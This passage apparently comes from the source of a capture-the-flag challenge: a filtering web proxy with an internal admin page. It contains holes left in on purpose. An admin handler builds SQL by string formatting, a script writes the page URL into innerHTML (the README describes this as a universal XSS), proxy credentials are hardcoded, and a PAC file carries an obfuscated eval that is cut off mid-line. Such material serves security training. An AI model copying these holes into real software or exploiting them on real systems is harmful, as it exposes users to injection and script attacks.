')
55 | def view_request(uid):
56 | if not is_local(request):
57 | return render_template("error.html", msg="Only internal users may access this website")
58 |
59 | con = get_db()
60 | cur = con.cursor()
61 | q = "select rowid,* from requests where rowid={};".format(uid)
62 | try:
63 | cur.execute(q)
64 | row = cur.fetchone()
65 | except Exception as e:
66 | print("INTERNALWWW: Invalid SQL query: {}".format(q))
67 | return render_template("error.html", msg="SQL Error: {}".format(e))
68 |
69 | if " " in uid:
70 | print("INTERNALWWW: Possible SQLi attempt! Query={}".format(uid))
71 |
72 | try:
73 | # Should be bytes unless SQLi has happened
74 | url = row["url"].decode('ascii')
75 | except AttributeError: # If there's SQLi it could be an int
76 | url = row["url"]
77 |
78 | return render_template("view.html", row=row, url=url, q=q)
79 |
80 | @app.route('/css/bootstrap.min.css')
81 | def css():
82 | return send_file("css/bootstrap.min.css")
83 |
84 | # Remote users only get errors. Local users can see 404s for every other page
85 | @app.errorhandler(404)
86 | def page_not_found(e):
87 | if not is_local(request):
88 | return render_template("error.html", msg="Only local users may access this website")
89 | return "Page not found", 404
90 |
91 |
92 | if __name__ == '__main__':
93 | import sys
94 | assert(len(sys.argv) == 3), "Usage: ./internal.py [Public IP] [Port]"
95 |
96 | global PUBLIC_IP
97 | PUBLIC_IP = sys.argv[1]
98 |
99 | # TODO use a real webserver? Won't have much traffic
100 | #app.run(debug = True, host=PUBLIC_IP, port=int(sys.argv[2]))
101 | app.run(debug = False, host=PUBLIC_IP, port=int(sys.argv[2]))
102 | else:
103 | # Normal load
104 | if 'CONTAINER_IP' not in os.environ:
105 | raise RuntimeError("CONTAINER IP is not present in environment")
106 | PUBLIC_IP = os.environ['CONTAINER_IP']
107 | print("INTERNAL-WWW started with {}".format(PUBLIC_IP))
108 |
109 |
110 | # vim: noet:ts=4:sw=4
111 |
--------------------------------------------------------------------------------
/service/files/internalwww/template/base.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | {% block title %}Order of the Overflow Proxy Service {% endblock %}
5 |
6 |
7 |
8 |
9 |
10 | {% block content %}{% endblock %}
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/service/files/internalwww/template/error.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 | {% block title %}OOPS — Error{% endblock %}
3 |
4 | {% block content %} {{msg}} {% endblock %}
5 |
--------------------------------------------------------------------------------
/service/files/internalwww/template/home.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 | {% block content %}
3 | Welcome to the OOOPS Administrative Web Interface.
4 | To evaluate an unblock request, please browse directly to it's evaluation URL
5 | {% endblock %}
6 |
--------------------------------------------------------------------------------
/service/files/internalwww/template/view.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 | {% block title %}OOOPS — Evaluate Requests{% endblock %}
3 |
4 | {% block content %}
5 |
6 |
7 | {% if row %}
8 |
9 | Request #{{row.rowid}} from {{row.ip}}.
10 | {% if row.visited %} Automatically evaluated {% else %} Not yet evaluated{% endif %}
11 |
12 |
13 |
14 | Visit {{url}}
15 |
16 |
17 | {% else %}
18 | Error. No result found
19 | {% endif %}
20 |
21 |
22 | {% endblock %}
23 |
--------------------------------------------------------------------------------
/service/files/proxy/README.md:
--------------------------------------------------------------------------------
1 | Proxy
2 | ===
3 | Simple Twisted proxy which rewrites requests to `/prox-internal/....` to local files.
4 |
5 | Rewrites requests to urls containing the string `overflow` to serve [prox-internal/blocked.html](blocked.html)
6 |
7 | Introduces a cross-site scripting vulnerability in [prox-internal/scripts/main.js](main.js).
8 |
9 | Since the `/prox-internal/...` paths are intercepted on all domains, the XSS vulnerability becomes a universal XSS bug.
10 |
--------------------------------------------------------------------------------
/service/files/proxy/captcha_clean_cron:
--------------------------------------------------------------------------------
1 | */5 * * * * rm /app/proxy/prox-internal/captchas/*.{png,txt}
2 |
--------------------------------------------------------------------------------
/service/files/proxy/old-proxy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import sys
4 | import re
5 | import os
6 | import sqlite3
7 | import string
8 | from urllib.parse import unquote
9 | from twisted.web import proxy, http
10 | from twisted.internet import reactor, ssl
11 | from twisted.python import log
12 | from base64 import b64encode
13 |
14 | log.startLogging(sys.stdout)
15 |
16 | # Configuration
17 | PROXY_BASE = "/ooops/d35fs23hu73ds"
18 |
19 | # URLs containing this are blocked
20 | BAD_WORD = "overflow"
21 |
22 | # Ports other than these are blocked
23 | ALLOWED_PORTS = [80, 443, 5000]
24 |
25 | db_name = "/app/database.sqlite"
26 |
27 | HTTP_REGEX=re.compile(b'^([A-Z]*) ([a-zA-Z]*\:\/\/)?([a-zA-z0-9\-.]*)(:[\d]*)?(\/([A-Za-z0-9\/\-\_\.\;\%\=\'"\\ \(\),]*))?((\?([A-Za-z_0-9\'"!%&()\*+,-./:;=?@\\\\^_`{}|~\[\]])*)?)? HTTP\/\d.\d')
28 |
29 | # End configuration
30 |
31 | # Setup database connection
32 | conn = sqlite3.connect(db_name)
33 | cur = conn.cursor()
34 |
35 | def is_local_user(ip):
36 | return ip in["localhost", "127.0.0.1", GRADER_IP]
37 |
38 |
39 | def update_db(user, url):
40 | global cur
41 | # B64 encode data. Probably overkill?
42 | q = "INSERT into requests VALUES (?, DateTime('now'), ?, 0);"
43 | log.err("Inserting: {}".format(q))
44 | conn.execute(q, (user, b64encode(url.encode("utf-8"))))
45 | conn.commit()
46 |
47 | def html(text):
48 | return """
49 |
50 | {}
51 | """.format(text)
52 |
53 | def err(code, msg):
54 | return "HTTP/1.1 {code} {msg}\r\n\r\n{msg}\r\n".format(code=code, msg=msg).encode("utf-8")
55 |
56 | def blocked(url, port, path):
57 | global BAD_WORD, ALLOWED_PORTS
58 | if BAD_WORD in url or port not in ALLOWED_PORTS:
59 | if PROXY_BASE not in path: # Don't block internal pages, even on blocked sites
60 | return True
61 | return False
62 |
63 | def read_bytes_from_file(file, chunk_size = 2048):
64 | with open(file, 'rb') as file:
65 | while True:
66 | chunk = file.read(chunk_size)
67 |
68 | if chunk:
69 | yield chunk
70 | else:
71 | break
72 |
73 | class MyProxy(proxy.Proxy):
74 | def respond(self, msg, ctype="text/html"):
75 | m = html(msg)
76 | self.transport.write("HTTP/1.1 200 OK\r\nContent-Length: {}\r\nContent-Type: {}\r\n\r\n{}".format(len(m), m, ctype).encode("utf-8"))
77 | #self.write(html(msg))
78 | self.transport.loseConnection()
79 |
80 | def request_creds(self):
81 | # Ask for credentials
82 | self.transport.write("HTTP/1.1 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to proxy site\"\r\n\r\n{}".encode("utf-8"))
83 | self.transport.loseConnection()
84 |
85 | def has_valid_creds(self, data):
86 | data = data.decode("utf-8", "ignore")
87 | if "Proxy-Authorization: " not in data:
88 | self.request_creds()
89 | print("Missing auth token")
90 | return False
91 | postauth = data.split("Proxy-Authorization: ")[1]
92 | if "\r\n" not in postauth:
93 | print("Malformed proxy auth")
94 | return False
95 |
96 | auth_token = postauth.split("\n")[0].strip()
97 | if auth_token=="Basic T25seU9uZTpPdmVyZmxvdw==": # OnlyOne:Overflow
98 | return True
99 | else:
100 | print("Wrong auth")
101 | self.request_creds()
102 | return False
103 |
104 |
105 | def dataReceived(self, data):
106 | """
107 | Client has send us a request, try to connect to it
108 | """
109 | global HTTP_REGEX
110 | try:
111 | return self._dataReceived(data)
112 | except Exception as e:
113 | print("Exception:" + str(e))
114 | self.transport.loseConnection()
115 | raise e
116 | return False
117 |
118 |
119 | def _dataReceived(self, data):
120 | user = self.transport.getPeer()
121 | user_ip = user.host
122 |
123 | # Require authentication (unless it's the grader)
124 | if not is_local_user(user_ip) and not self.has_valid_creds(data):
125 | #print("Invalid creds\n\n")
126 | self.transport.loseConnection()
127 | return False
128 |
129 | # Ensure we can parse the first line of the HTTP request or drop the connection
130 | http_line_match = HTTP_REGEX.search(data)
131 | if not http_line_match or not http_line_match.groups(0) or not http_line_match.groups(1):
132 | #print("Malformed request")
133 | #print(data)
134 | self.transport.write(err(400, "Bad Request"))
135 | self.transport.loseConnection()
136 | return False
137 |
138 |
139 | # Get method and check if it's https (CONNECT)
140 | method = http_line_match.groups(0)[0].decode("utf-8")
141 | # We don't support HTTPS
142 | if method == "CONNECT":
143 | #print("Ignoring HTTPS connect")
144 | self.transport.write(err(405, "Method Not Allowed"))
145 | self.transport.loseConnection()
146 | return False
147 |
148 | # Extract and validate protocol
149 | proto = http_line_match.groups(0)[1].decode("utf-8") # can be blank, or HTTP://, etc
150 | if not proto.startswith("http") or not proto.endswith("://"):
151 | #print("Fail: bad proto")
152 | self.transport.write(err(400, "Bad Request"))
153 | self.transport.loseConnection()
154 | return
155 |
156 | # Capture
157 | url = http_line_match.groups(0)[2].decode("utf-8", "ignore") # Includes subdomains
158 | port = http_line_match.groups(0)[3] # Can be blank
159 | path = http_line_match.groups(1)[4].decode("utf-8", "ignore")
160 | query = http_line_match.groups(0)[6].decode("utf-8", "ignore")
161 |
162 | # Validate and reformat port
163 | try:
164 | port = int(port[1:]) if port else 80 # Trim leading : if specified, otherwise default to 80
165 | except ValueError:
166 | log.err("Invalid port")
167 | self.transport.loseConnection()
168 | return False
169 |
170 | # Reformat query
171 | if query is not None: query = query[1:]
172 |
173 | log.msg("Request from {}. URL: {}. Port: {}. Path {}. Query: {}".format(user_ip, url, port, path, query))
174 |
175 | # Check if request should be blocked, update path if it is
176 | if blocked(url, port, path): # Update path so we'll respond with internal file blocked.html
177 | log.msg("URL blocked")
178 | path = PROXY_BASE + "/blocked.html"
179 |
180 | # Transform path to simplify any weird directories
181 | path = os.path.abspath(path)
182 |
183 | if path.startswith(PROXY_BASE):
184 | local_file = "/app/proxy/prox-internal" + path.split(PROXY_BASE)[1] # Skip past proxy base
185 | """ # Note if it starts with prox-internal after abspath, it can't traverse any higher
186 | if ".." in local_file:
187 | self.transport.loseConnection()
188 | return False
189 | """
190 |
191 | if method == "GET" or method == "POST": # Load page if exists on get or post
192 | if method == "POST": # For post, try parsing an unblock request
193 | lines = data.decode("utf-8", "ignore").split("\r\n")
194 | url=None
195 | for line in lines:
196 | if "url=" in line: # Found it
197 | urldata = line.split("url=")[1]
198 | try:
199 | url=unquote(urldata.split("&")[0])
200 | except:
201 | print("Warning: Couldn't parse postdata line: {}".format(urldata))
202 | if url:
203 | update_db(user_ip, url)
204 | else:
205 | print("Warning: Couldn't parse posted data url")
206 |
207 | # Respond with raw file for get and post
208 | if os.path.isfile(local_file): # Ignore directories
209 | ctype ="text/html"
210 | if "." in local_file:
211 | ext = local_file.split(".")[-1]
212 | if ext == "js": ctype = "script/javascript"
213 | if ext == "jpg": ctype = "image/jpeg"
214 |
215 | file_len = os.path.getsize(local_file)
216 | self.transport.write("HTTP/1.1 200 OK\r\nContent-Length: {}\r\nContent-Type: {}\r\n\n".format(file_len, ctype).encode("utf-8"))
217 |
218 | self.setRawMode()
219 | for _bytes in read_bytes_from_file(local_file):
220 | self.transport.write(_bytes)
221 |
222 | self.transport.write(b"\r\\n")
223 | self.setLineMode()
224 | self.transport.loseConnection()
225 | return False
226 |
227 | else:
228 |
229 | self.transport.write("HTTP/1.1 404 File not Found\r\n\r\nPage not found\r\n".encode("utf-8"))
230 | self.transport.loseConnection()
231 | return False
232 | else:
233 | self.transport.write("HTTP/1.1 405 Method not Allowed\r\n\r\nMethod not Allowed\r\n".encode("utf-8"))
234 | self.transport.loseConnection()
235 | return True
236 |
237 | # Require host: header
238 |
239 | """
240 | dec_req = data[:min(100, len(data))].decode("utf-8", "ignore")
241 | if "\r\nHost: " not in dec_req:
242 | self.transport.write(err(400, "Bad Request"))
243 | self.transport.loseConnection()
244 | return False
245 | """
246 |
247 | # We only accept encoding identiy to make our lives easier
248 | data = re.sub(b'Accept-Encoding: [a-z, ]*', b'Accept-Encoding: identity', data)
249 |
250 | # Add x-forward-for header by replacing host header?
251 | #xforfor_host = ("X-Forwarded-For: {}\r\nHost: ".format(user_ip)).encode("utf-8")
252 | #data = re.sub(b'Host:', xforfor_host, data)
253 |
254 |
255 |
256 | return proxy.Proxy.dataReceived(self, data)
257 |
258 | def write(self, data):
259 | if data:
260 | #print("\nServer response:\n{}".format(data.decode("utf-8")))
261 | self.transport.write(data)
262 | if self.transport:
263 | self.transport.loseConnection()
264 |
265 | class ProxyFactory(http.HTTPFactory):
266 | protocol=MyProxy
267 |
268 | if __name__ == '__main__':
269 | import sys
270 | assert(len(sys.argv) == 3), "Usage: ./run-proxy.py [Grader IP] [Port]"
271 |
272 | global GRADER_IP, PORT
273 | # GRADER_IP used to allow passwordless connections from admin
274 | # because selenium can't handle proxies with passwords :(
275 | GRADER_IP = sys.argv[1]
276 | # Port to listen on
277 | PORT = int(sys.argv[2])
278 |
279 | factory = ProxyFactory()
280 | reactor.listenTCP(PORT, factory)
281 |
282 | """
283 | # TODO: SSL
284 | reactor.listenSSL(PORT, factory,
285 | ssl.DefaultOpenSSLContextFactory(
286 | 'cert/ca.key', 'cert/ca.crt'))
287 | """
288 | reactor.run()
289 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/blocked.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/captchas/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/css/main.css:
--------------------------------------------------------------------------------
1 | #blocked {
2 | font-size:2em;
3 | min-height:1em;
4 | width:900px;
5 | marign: 0 auto;
6 | clear:both;
7 | border: 3px dotted black;
8 | text-align: center
9 | }
10 |
11 | #logo {
12 | display: block;
13 | margin: 0 auto;
14 | }
15 |
16 | .captcha {
17 | border: 1px solid black;
18 | }
19 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/images/ooo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/o-o-overflow/dc2019q-ooops/2f56356a5aa5ab85e85dfa13bf102a46dc6a0c49/service/files/proxy/prox-internal/images/ooo.png
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/review.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
Site Unblock Request
13 |
{msg}
14 |
39 |
40 |
Warning: If you submit too many requests, we will start ignoring you
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/reviewed.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
Site Unblock Request
13 | {msg}
14 | Thank you for your request. We'll check the site out and unblock it if approperiate.
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/service/files/proxy/prox-internal/scripts/main.js:
--------------------------------------------------------------------------------
1 | function split_url(u) {
2 | u = decodeURIComponent(u); // Stringify
3 | output = u[0];
4 | for (i=1;i ";
7 | }
8 | console.log(output)
9 | return output
10 | }
11 | window.onload = function () {
12 | d = document.getElementById("blocked");
13 | d.innerHTML=(split_url(document.location) + " is blocked")
14 | }
15 |
--------------------------------------------------------------------------------
/service/files/proxy/run-proxy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import sys
4 | import os
5 | import sqlite3
6 | import uuid # TODO: use for DB keys
7 | import string
8 | from captcha.image import ImageCaptcha
9 | from random import choice, randint
10 | from twisted.web import proxy, http
11 | from twisted.python import log
12 | from twisted.internet import reactor, ssl
13 | from twisted.python.compat import urllib_parse, urlquote
14 | from OpenSSL import SSL as OSSL
15 |
16 | # CONFIG
17 | BAD_WORD = "overflow"
18 | PROXY_BASE = "/ooops/d35fs23hu73ds"
19 | CAPTCHA_LEN = 5
20 |
21 | # Note these paths are for docker
22 | DB_NAME = "/app/database.sqlite"
23 | FILE_DIR = "/app/proxy/prox-internal"
24 | CERT_FILE = "/app/cert/ca.crt"
25 | CERT_KEY = "/app/cert/ca.key"
26 |
27 | # And these paths are for local debugging
28 | #FILE_DIR = "prox-internal"
29 | #DB_NAME = "database.sqlite"
30 |
31 | # END CONFIG
32 |
33 | # Global imageCaptcha object
34 | imageCaptcha = ImageCaptcha(fonts=['/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf', '/usr/share/fonts/truetype/dejavu/DejaVuSerif.ttf'])
35 |
36 | # Setup database connection
37 | conn = sqlite3.connect(DB_NAME)
38 | cur = conn.cursor()
39 |
40 | def full_path_to_file(path):
41 | if "://" in path:
42 | path = path.split("://")[1]
43 | if "/" in path:
44 | path_only = path[path.index("/"):] # Trim after first /
45 | path_only = os.path.abspath(path_only)
46 | else:
47 | path_only = "/"
48 |
49 | return path_only
50 |
51 | def is_internal_page(path):
52 | # Determine if a page is internal (prefixed with PROXY_BASE)
53 | global PROXY_BASE
54 | return full_path_to_file(path).startswith(PROXY_BASE)
55 |
56 | def should_block(full_path):
57 | global BAD_WORD
58 | return BAD_WORD in full_path
59 |
60 | def read_bytes_from_file(file, chunk_size = 2048):
61 | with open(file, 'rb') as file:
62 | while True:
63 | chunk = file.read(chunk_size)
64 | if chunk:
65 | yield chunk
66 | else:
67 | break
68 |
69 | def update_db(user, url):
70 | global cur
71 | # B64 encode data. Probably overkill?
72 | q = "INSERT into requests VALUES (?, DateTime('now'), ?, 0);"
73 | #log.err("Inserting: {} with values {} and {}".format(q, user, url.encode('ascii')))
74 | conn.execute(q, (user, url.encode("ascii")))
75 | conn.commit()
76 |
77 | def make_captcha(c_len=5):
78 | global imageCaptcha
79 | # Write [junk].png and [junk].txt where the txt contains the answer
80 | #captcha_chars = string.ascii_letters+string.digits
81 | captcha_chars = string.ascii_uppercase
82 | ans = ''.join(choice(captcha_chars) for i in range(c_len))
83 | fname = ''.join(choice(captcha_chars) for i in range(c_len))
84 | ans_fname = fname+".txt"
85 | fname += ".png"
86 |
87 | imageCaptcha.write(ans, os.path.join(FILE_DIR, 'captchas', fname))
88 | with open(os.path.join(FILE_DIR, 'captchas', ans_fname), "w") as f:
89 | f.write(ans)
90 |
91 | return (os.path.join(PROXY_BASE, 'captchas', fname), fname)
92 |
93 | def check_captcha(imgname, guess):
94 | fname = os.path.abspath(os.path.join(FILE_DIR, 'captchas', imgname))
95 | ansname = fname.replace(".png", ".txt")
96 | if ".." in imgname or FILE_DIR not in fname:
97 | return False
98 |
99 | if not os.path.isfile(fname) or not os.path.isfile(ansname):
100 | return False
101 |
102 | ans = open(ansname).read()
103 | os.remove(fname)
104 | os.remove(ansname)
105 |
106 | return guess == ans
107 |
108 | class MySSLContext(ssl.DefaultOpenSSLContextFactory):
109 |
110 | def __init__(self, *args, **kw):
111 | #kw['sslmethod'] = OSSL.TLSv1_METHOD
112 | #args['privateKeyFileName'] = 'cert/ca.key'
113 | #args['certificateFileName'] = 'cert/ca.crt'
114 | ssl.DefaultOpenSSLContextFactory.__init__(self,
115 | CERT_FILE, CERT_KEY, sslmethod=OSSL.TLSv1_1_METHOD)
116 |
117 | """
118 | def getContext(self):
119 | ctx = OSSL.Context(OSSL.TLSv1_1_METHOD)
120 | ctx.use_certificate_file(CERT_FILE)
121 | ctx.use_privatekey_file(CERT_KEY)
122 | return ctx
123 | """
124 |
125 | class MySSLContext2(ssl.ContextFactory):
126 | def getContext(self):
127 | ctx = OSSL.Context(OSSL.TLSv1_1_METHOD)
128 | ctx.use_certificate_file(CERT_FILE)
129 | ctx.use_privatekey_file(CERT_KEY)
130 | return ctx
131 |
132 | class FilterProxyRequest(proxy.ProxyRequest):
133 | # Called when we get a request from a client
134 |
135 | def has_valid_creds(self):
136 | global GRADER_IP
137 | return self.getHeader("Proxy-Authorization") == \
138 | "Basic T25seU9uZTpPdmVyZmxvdw==" # OnlyOne:Overflow
139 |
140 | def request_creds(self):
141 | self.setResponseCode(407)
142 | self.setHeader("Proxy-Authenticate", "Basic realm=\"Access to proxy site".encode("ascii"))
143 | self.write("Auth required".encode("ascii"))
144 | self.finish()
145 |
146 |
147 | def serve_internal(self, path, doSSL):
148 | # Render internal page
149 | global PROXY_BASE, FILE_DIR
150 | # Swap PROXY_BASE prefix for FILE_DIR
151 | local_file=full_path_to_file(path).replace(PROXY_BASE, FILE_DIR)
152 |
153 | msg = "" # Messages to show on page
154 |
155 | # Try parsing an unblock request
156 | if self.method.upper() == b'POST':
157 | msg = "Missing arguments" # Default for a post
158 |
159 | if "reviewed.html" in local_file:
160 | msg = "Missing data. Try again ".format(PROXY_BASE+"/review.html")
161 |
162 | #if b'url' in self.args and b'captcha_guess' in self.args and \
163 | # b'captcha_id' in self.args:
164 |
165 | if b'url' in self.args:
166 | #captcha_guess = self.args[b'captcha_guess'][0].decode("ascii")
167 | #captcha_id = self.args[b'captcha_id'][0].decode("ascii")
168 |
169 | # Skip captcha for testing ;)
170 | #bypass_captcha = self.args[b'captcha_guess'][0] == b'fasanotesting'
171 |
172 | #if bypass_captcha or check_captcha(captcha_id, captcha_guess):
173 | if True:
174 | msg = "Request submitted"
175 | url = self.args[b'url'][0].decode("ascii")
176 | update_db(self.getClientIP().encode("ascii"), url)
177 | else:
178 | msg = "Invalid captcha. Try again ".format(PROXY_BASE+"/review.html")
179 |
180 | if os.path.isfile(local_file) and local_file.startswith(FILE_DIR):
181 | # If file exists in FILE_DIR, serve it
182 | ctype ="text/html"
183 | if "." in local_file:
184 | ext = local_file.split(".")[-1]
185 | if ext == "js": ctype = "script/javascript"
186 | if ext == "jpg": ctype = "image/jpeg"
187 | if ext == "png": ctype = "image/png"
188 | if ext == "css": ctype = "text/css"
189 |
190 | file_len = os.path.getsize(local_file)
191 | self.setResponseCode(200)
192 | self.setHeader("Content-Type", ctype.encode("ascii"))
193 |
194 | if ctype == "text/html": # Small file, safe to parse all at once
195 | with open (local_file) as f:
196 | _file_contents = f.read()
197 | """
198 | if "{captcha_" in _file_contents:
199 | # Dynamically rewrite captcha template tags
200 | c_path, c_id = make_captcha()
201 | _file_contents = _file_contents.replace("{captcha_url}", c_path)
202 | _file_contents = _file_contents.replace("{captcha_id}", c_id)
203 | """
204 |
205 | if "{msg}" in _file_contents:
206 | _file_contents = _file_contents.replace("{msg}", msg)
207 |
208 | ascii_contents = _file_contents.encode('ascii')
209 | self.setHeader("Content-Length", str(len(ascii_contents)))
210 | self.write(ascii_contents)
211 |
212 | else: # Binray, just send raw bytes
213 | self.setHeader("Content-Length", str(file_len).encode("ascii"))
214 | for _bytes in read_bytes_from_file(local_file):
215 | self.write(_bytes)
216 |
217 | self.transport.write(b"\r\n")
218 | self.finish()
219 | else:
220 | self.setResponseCode(404)
221 | self.write("File not found\r\n".encode("ascii"))
222 | self.finish()
223 |
224 | def serve_blocked(self, doSSL):
225 | path = PROXY_BASE +"/blocked.html"
226 | self.serve_internal(path, doSSL)
227 |
228 | protocols = {b'http': proxy.ProxyClientFactory, b'https': proxy.ProxyClientFactory}
229 | ports = {b'http': 80, b'https': 443}
230 |
231 | # Overload process for bugfixes AND to intercept request
232 | # https logic from
233 | # https://twistedmatrix.com/pipermail/twisted-python/2008-August/018227.html
234 | def process(self, args=None):
235 | if not self.has_valid_creds():
236 | self.request_creds()
237 | return None
238 |
239 |
240 | parsed = urllib_parse.urlparse(self.uri)
241 | protocol = parsed[0]
242 | host = parsed[1].decode('ascii')
243 |
244 | port = 80
245 | if protocol != b'':
246 | port = self.ports[protocol]
247 | if ':' in host:
248 | host, port = host.split(':')
249 | port = int(port)
250 |
251 | doSSL = False
252 | if self.method.upper() == b"CONNECT": # TODO: finish HTTPS support
253 | #self.setResponseCode(200)
254 | self.transport.write("HTTP/1.1 200 Connection established\r\nConnection: close\n\n".encode("ascii"))
255 | self.transport.startTLS(MySSLContext2())
256 | protocol = b"https"
257 | self.host = parsed.scheme
258 | #self.transport.write("HTTPS unsupported\r\n".encode("ascii"))
259 | self.finish()
260 | return
261 | else:
262 | if self.isSecure():
263 | headers = self.getAllHeaders().copy()
264 | if "host" not in headers:
265 | self.setResponseCode(400)
266 | self.write("Malformed request\r\n".encode("ascii"))
267 | self.finish()
268 | return
269 |
270 | host = headers["host"]
271 | protocol = b"https"
272 | doSSL = True
273 |
274 |
275 | if protocol not in self.ports:
276 | self.setResponseCode(400)
277 | self.write("Unsupported protocol\r\n".encode("ascii"))
278 | self.finish()
279 | return None
280 |
281 | rest = urllib_parse.urlunparse((b'', b'') + parsed[2:])
282 | if not rest:
283 | rest = rest + b'/'
284 | if protocol not in self.protocols:
285 | self.setResponseCode(400)
286 | self.write("Unsupported protocol\r\n".encode("ascii"))
287 | self.finish()
288 | return None
289 |
290 | class_ = self.protocols[protocol]
291 | headers = self.getAllHeaders().copy()
292 | if b'host' not in headers:
293 | headers[b'host'] = host.encode('ascii')
294 |
295 | # Add x-forwarded-for
296 | headers[b'X-Forwarded-For'] = self.getClientIP().encode('ascii')
297 |
298 | self.content.seek(0, 0)
299 | s = self.content.read()
300 | clientFactory = class_(self.method, rest, self.clientproto, headers,
301 | s, self)
302 |
303 | #print("About to connect upstream to {}:{}".format(host, port))
304 | #print("Headers for upstream: {}".format(headers))
305 |
306 | dec_path = self.path.decode("ascii", "ignore")
307 | if is_internal_page(dec_path):
308 | # 1st priority: internal pages
309 | self.serve_internal(dec_path, doSSL)
310 | elif should_block(dec_path):
311 | # 2nd priority: blocked page
312 | self.serve_blocked(doSSL)
313 | else:
314 | # 3rd priority: regular page
315 | if doSSL:
316 | print("Trying connect ssl to {} on {}".format(host, port))
317 | self.reactor.connectSSL(host, port, clientFactory,
318 | ssl.ClientContextFactory())
319 | else:
320 | self.reactor.connectTCP(host, port, clientFactory)
321 |
322 | class FilterProxy(proxy.Proxy):
323 | def requestFactory(self, *args):
324 | return FilterProxyRequest(*args)
325 |
326 | class FilterProxyFactory(http.HTTPFactory):
327 | def buildProtocol(self, addr):
328 | protocol = FilterProxy()
329 | return protocol
330 |
331 | assert(len(sys.argv) == 3), "Usage: ./run-proxy.py [Grader IP] [Port]"
332 |
333 | global GRADER_IP, PORT
334 | # GRADER_IP used to allow passwordless connections from admin
335 | # because selenium can't handle proxies with passwords :(
336 | GRADER_IP = sys.argv[1]
337 | # Port to listen on
338 | PORT = int(sys.argv[2])
339 |
340 | prox = FilterProxyFactory()
341 | reactor.listenTCP(PORT, prox)
342 | """
343 | # TODO: SSL
344 | reactor.listenSSL(PORT, factory,
345 | ssl.DefaultOpenSSLContextFactory(
346 | 'cert/ca.key', 'cert/ca.crt'))
347 | """
348 | reactor.run()
349 |
--------------------------------------------------------------------------------
/service/files/public_files/info.pac:
--------------------------------------------------------------------------------
1 | // TODO: developers still need access to stackoverflow
2 |
3 | var u = "nation.state.actor:7239"; // REAL TODO: dynamic url?
4 |
5 | eval((function(){var q=Array.prototype.slice.call(arguments),K=q.shift();return q.reverse().map(function(Q,S){return String.fromCharCode(Q-K-48-S)}).join('')})(24,234,164,250,241,237,230,241,227,243,235,155,243,229,230,230,150,218,220,199,146,155,159,143,233,141,149,223,221,216,208,135,146,209,214,216,138,207,207,200,210,192,202,208,192,121,149,119,162,167,169,197,193,151,201,199,189,191,156,175,184,178,142)+(1779742873972).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(z){return String.fromCharCode(z.charCodeAt()+(-71))}).join('')+(15935).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(N){return String.fromCharCode(N.charCodeAt()+(-71))}).join('')+(625396204).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(R){return String.fromCharCode(R.charCodeAt()+(-71))}).join('')+(676).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(n){return String.fromCharCode(n.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(1277091).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(z){return String.fromCharCode(z.charCodeAt()+(-71))}).join('')+(879).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-71))}).join('')+(38210).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(s){return String.fromCharCode(s.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-39))}).join('')+(68372856464).toString(36).toLowerCase()+(1096).toString(36).toLowerCase().split('').map(function(D){return String.fromCharCode(D.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(n){return String.fromCharCode(n.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(c){return String.fromCharCode(c.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(m){return String.fromCharCode(m.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(w){return String.fromCharCode(w.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(i){return String.fromCharCode(i.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(j){return String.fromCharCode(j.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(391).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-39))}).join('')+(68372856464).toString(36).toLowerCase()+(781324).toString(36).toLowerCase().split('').map(function(r){return String.fromCharCode(r.charCodeAt()+(-71))}).join('')+(663).toString(36).toLowerCase()+(600).toString(36).toLowerCase().split('').map(function(O){return String.fromCharCode(O.charCodeAt()+(-71))}).join('')+(1025).toString(36).toLowerCase()+(21).toString(36).toLowerCase().split('').map(function(x){return 